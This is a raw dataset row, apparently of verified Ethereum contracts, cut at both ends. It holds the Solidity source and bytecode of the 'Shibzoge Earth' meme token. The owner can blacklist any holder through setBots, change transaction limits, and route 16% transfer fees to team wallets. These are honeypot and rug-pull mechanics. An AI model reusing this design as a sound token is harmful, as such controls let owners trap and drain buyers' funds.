546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203f13a3372dd9ec8277a8eb554632569b53bf7ebcc2748770065dcc3e88155fed64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 171 |
0x2a670c5ea0d59a052a3ab98f96a31fbb7a092230 | /**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// Shibzoge Earth (SHIBZOGE)
//TG: https://t.me/shibzoge
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibzogeEarth is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shibzoge Earth";
string private constant _symbol = "SHIBZOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600e81526020017f536869627a6f6765204561727468000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534849425a4f4745000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550673afb087b876900006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6004600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526